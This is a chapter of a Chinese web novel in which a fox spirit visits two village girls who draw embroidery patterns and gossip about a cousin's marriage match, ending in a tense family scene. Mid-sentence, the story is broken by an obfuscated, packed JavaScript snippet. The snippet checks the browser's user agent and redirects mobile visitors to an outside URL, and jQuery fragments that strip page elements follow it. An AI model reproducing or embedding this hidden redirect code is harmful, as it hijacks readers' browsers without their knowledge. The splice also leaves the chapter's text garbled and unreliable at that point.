76. 说亲事
作品:《山间狐狸有点甜》 等狐狸到了院子里,才看贺清来正在洗菜,狐狸将两枚鹅蛋举在脸前,果然严严实实,什么也瞧不见,只有漂亮的鱼白皮占住整个视野。
“贺清来!你看!”狐狸嘿嘿笑了两声。
贺清来温和的声音传来:“好大的鹅蛋,多少钱一枚?”
“没有多少啦!”狐狸放下手,走进厨间,稳当地将鹅蛋放进馒头筐:“给你加餐!”
贺清来微微笑了,今日天气晴朗,云彩稀疏,难得是个很惬意的日子。
中午刚吃过饭,忽然听院外有脚步声,狐狸一瞧,原来是苗苓和张芮,两个人又说又笑,结伴而来,一人青裙,一人蓝裳,好似春风袭面,清隽秀美。
狐狸和贺清来住的地方,恰巧在村边一角,窝在山坡的怀抱中,院子边又有一条窄窄溪流隔绝,若到这里,便是来寻人的。
两个姑娘一起···狐狸同贺清来对视一眼,立即美滋滋地将碗筷交到贺清来手中,欢快地迎了上去:“芮娘,阿苓!”
“衣衣,我们就是来找你的。”芮娘笑盈盈说着,挽住狐狸胳膊。
苗苓朝院中看了一眼,同贺清来微笑问好,接着她亲切问:“衣衣,你吃过中饭了?去我屋里坐坐吧。”
“好!”狐狸高兴答应。
刚走过小桥,张芮道:“我舅舅和表兄来了,舅舅说舅母想要点花样做衣裳,我就去找阿苓了,说起绣样,谁也比不过阿苓家,现成的就顶好。”
这事狐狸知道,于是默默点头。
苗苓笑着说:“反正闲着,喊你一起说话,总比我们俩热闹。”
进了苗家院子,苗娘子正坐在门前绣帕子,狐狸赶忙道:“苗娘子好。”
“衣衣来了,阿苓,你记得把果子糕点拿出来。”苗娘子温柔地笑着颔首。
苗苓口中答应着,三人进了里屋,绣凳、笔墨、画纸,甚至连点心都已经备好了,三人各自坐下。
狐狸看桌子上已经摊着十来张绣样,个个漂亮,正疑惑,苗苓看出她意思,蘸着笔墨笑道:“我屋里是有现成的,可是旧的有些过时,不好让芮儿拿给舅母用。”
“而且有的纸张都泛黄了,拿去当礼物不尊重。”说话间,苗苓看过一张喜鹊报春,斟酌着下笔。
张芮拿过圆形绣绷,一边说话,一边刺绣:“其实我觉得,我舅舅来似乎是有事和我母亲商量,要绣样是真的,支我出来好说话也是真的。”
狐狸眼睛用不过来,一会儿看苗苓笔尖游龙戏凤,一会儿看张芮下针,听见这话,随口问:“怎么说?”
“插秧刚结束,我舅舅他们往年从没这个时候来过,必然是有大事要和我娘商量,这才仓促来了。”
狐狸咬唇,还是忍不住道:“我今晨见到你舅舅了,你舅舅和表兄都穿的新衣裳来的。”
“哟,这也是真的,衣衣看得真仔细。”张芮霎时笑道。
狐狸听见这个“哟”字,仿佛得了什么天大的夸赞,芮娘虽然性情温柔,但是说话做事都很像姜娘子,很是亲切。
苗苓手上仔细,虽然花样都熟记在心,但细微之处有所改动,下笔便慎重许多,听见二人话语,忽而提笔一顿,她抬头问:“芮娘,你表哥多大了?”
“表哥比我大一岁,今年十七,夏天就满十八了。”张芮略微思索,又稍稍侧头:“怎么了?”
“我倒觉得···是不是你表兄要说亲了?”苗苓勾完喜鹊羽翼,停笔收住,接着将画纸拾起,略略风干。
狐狸和张芮默契地对视一眼,继续听苗苓往下说:“你舅舅虽然没说到底要几种花样,可他说的什么喜鹊报春、紫二乔,在绣坊里,都是婚嫁喜事才用的。”
张芮缓缓点头,思忖道:“···好像是这样。”
“八成是这回事,你表兄还没定亲,再不定就有点晚了。”
狐狸知晓凡人婚丧嫁娶都是大事,可她还有些不明白:“为什么晚了?定亲为什么来找姜娘子?”
苗苓见怪不怪,毕竟鞠衣“无父无母,不通民俗”,于是贴心解释:“本朝律法,男女满十六后可定亲议亲,准置时间短则一年,长则三年,最迟二十前也会完婚。”
“芮儿表哥快满十八了,既没定亲,也没相看,只有两年时间筹办,自然有点晚了。”
狐狸听了,方才明白,又想起一事——自己在户籍上写的岁数似乎是十五,五年后二十。
五年说长不长,说短不短,连狐狸自己也说不准那时还在不在此处,可万一呢?
想到此处,狐狸忙问:“那要是二十后也不定亲,怎么办呢?”
苗苓抽出第二张纸,磨好了颜料预备下笔:“无妨,律法并不强求婚嫁,若是二十后依旧不议亲,不论男女,每年多交五十文人丁税罢了。”
这并不多,只是多交几斗新米。
狐狸悄悄舒气,定了心,便继续往下听取。
“至于为何找我娘···”芮娘浅笑。
苗苓接着道:“姜娘子出名的嘴巧心热,当初邓大哥和丁香姐的婚事就是姜娘子说成的呢。”
邓进和谭丁香?
狐狸更好奇了,越说越热闹,除却苗苓依旧画着花样,芮娘不禁放下了手中绣绷:“丁香姐家同我娘一个村子,邓大哥当初想求娶丁香姐,可是邓大哥是个孤儿···”
狐狸问:“怎么他也是孤儿?”
这又说来话长,苗苓笑着搁下笔,给几人斟茶倒水,芮娘喝了,润润嗓子:“邓大哥是邓伯父从沐川慈幼堂抱来的,邓伯伯五年前去世,就只剩下邓大哥一人了。”
“丁香姐家只有两姐妹,丁香姐的爹娘担忧邓大哥家贫、不知人品,不敢答应这门亲事,”芮娘娓娓道来,“后来我娘知道了,出面详谈,这才口头定下婚约,若三年内邓大哥能造新屋、定好彩礼,便如愿嫁女,若是不能,丁香姐十九岁后再与人相看,不许烦扰。”
狐狸问:“照阿苓说,十九岁都晚了,那丁香姐愿意不愿意?”
这话逗得芮娘扑哧一笑:“丁香姐当然愿意了,若是丁香姐不愿意,我娘再怎么心疼邓大哥,也断断不会去说这门亲事的。”
“邓大哥无父母帮衬,若是不出点难题考察人品,定下时间观其品行毅力,谁敢轻易让女儿与之成亲呢?”苗苓浅笑,“姜娘子出面也只是做个担保,给邓大哥一个机会。”
“所以姜娘子是邓大哥的媒人?”狐狸歪歪脑袋,捋清因果。
芮娘拍拍狐狸手背,“是呢,所以阿苓说的也有道理,兴许是要给表兄议亲,想让我娘出面说和。”
第三张花样又画成,苗苓捏起画纸抖了抖,笑道:“不知道你表兄看上谁家姑娘?”
“这可不好说。”芮娘轻轻摇头,笑着啜口茶水。
狐狸看着苗苓手中画,鱼戏莲花,又是个好意象。
苗苓甚是满意今日画作,目光流连几许后,只见这美人姑娘促狭一笑,接着故作严肃、怪声怪调道:“你表兄的事情我说不准,可是咱们村里另一位儿郎的事情,我倒是清楚的很···”
话没说话,芮娘的脸腾一下便红了,她忙道:“阿苓,快画你的画!”
“有人恼了,我可没说是谁家儿郎,怎么,芮娘你清楚?”苗苓揶揄道。
张芮羞怯,扑上去挠苗苓腰肢:“你还说!”
“哎哟哟!我、哈哈哈,要我问,衣衣你知道不知道?”苗苓笑得上气不接下气,却还趁机同狐狸挤眉弄眼。
芮娘咬着唇一言不发,终究是苗苓讨饶,转过长桌,躲到狐狸身后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150671|156398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“衣衣救我!”
狐狸左右抵挡,芮娘羞恼道:“别攀扯衣衣!你过来,看我不拧你的嘴!”
“唔,我想我也明白···”似乎有蛛丝马迹可循,于是狐狸故意说。
果然芮娘飞霞更甚,一跺脚:“衣衣!你怎么也这样!一定是阿苓教坏了你!”
三人笑成一团,不知道究竟揪住了谁,还是苗苓笑着喊:“好了好了我错了!快饶我一次罢!我还得给你舅母画图样呢!”
终究还有正事,张芮停手,嗔瞪苗苓一眼,坐回绣凳,扭过身子去,不看两人。
见此情形,苗苓赶忙再斟上一杯香茶,恭恭敬敬递到张芮手上:“是我乱说,芮儿大人有大量,快原谅我吧!”
说着她便同狐狸递了个眼神,狐狸心领神会,立即端过边上点心,有样学样地弯下腰,将点心碟子高举过头顶,拉长声调:“快原谅我吧——!”
狐狸这举动,冷不丁逗得其余二人哈哈大笑,连芮娘都绷不住笑出了眼泪,苗苓抖着茶倚在桌边:“哎哟!笑得我肚子疼!”
狐狸不明所以,保持着动作,无辜地左右看看。
又过了半刻钟,几人终于安静下来,各坐各位,狐狸捧着点心吃,芮娘捧回香茶。
不觉过了半晌,芮娘收了绣绷,起身道:“我这线用完了,我想他们再怎么有大事商量,这会也差不多了,咱们去我屋里再玩会儿吧?”
狐狸站起身,苗苓将五张复杂的绣样子收起:“这些也够了吧,还有些简单的梅花、桃花的,我想你舅母也有。”
“够了够了,辛苦阿苓。”芮娘笑着挽住苗苓。
眼瞧着已经未时末,再有两个时辰太阳便要落山,苗苓道:“再有会天都要黑了,你舅舅他们这会也该走了。”
正是这个道理,三人无所顾忌,待到门前,却看院门关着,棕驴仍旧拴在门外,正呆呆地嚼着干草。
狐狸上前一敲门,却见是姜民开的门。
狐狸看得清楚,这少男本来面无表情,甚至还隐隐郁闷,一见苗苓,登时眼前一亮:“芮儿!”
张芮点了点头,喊了声表兄,接着同狐狸等进了院子。
狐狸一进院子,扫过众人。
正屋内姜娘子、张伯伯,还有芮娘舅舅对坐桌前,各自茶杯里尚有半盏茶,可是没有雾气,已经冷透了,桌上的点心等物一样未动,看来确实在商量什么大事。
狐狸目光远远落在姜娘子面上,却看妇人神情一瞬微愣,似乎没想到芮娘三人一起回来,接着姜娘子立即起身,如常笑迎:“衣衣和阿苓来啦,快进屋吧。”
张伯伯和芮娘舅舅却都没点笑影,张伯伯站起身来,和善道:“阿苓,衣衣,晚上就在这儿吃饭,伯伯做菜。”
狐狸和苗苓笑应,跨进正屋,狐狸耳朵尖,只听身后姜民脚步从院中紧跟,狐狸微微诧异,不动声色地加快脚步,带着两个姑娘进了芮娘闺房。
“站住!”刚关上门,便听门外一声低喝,显然是芮娘舅舅的声音。
门内三个姑娘登时顿住,狐狸朝芮娘、苗苓看了一眼,二人面上都有点不明所以。
少年紧凑的脚步声停住了,接着听他不情不愿道:“就算今日不成,我也得问问芮儿···”
“出去,喂了驴,咱们就走!”依旧是压低声音的怒斥。
氛围霎时变换,门里几人站定,没有说话。
“哥,这···”姜娘子欲言又止,叹了口气。
张伯伯道:“好了,兄长别生气,孩子还小,这事,改日再说。”
狐狸仔细听着,门外脚步短促而紧密地响了两声,似乎有人刚走出几步,紧跟着便停住了,最后一步重重踏在地上。
狐狸心一沉,微微皱起了眉。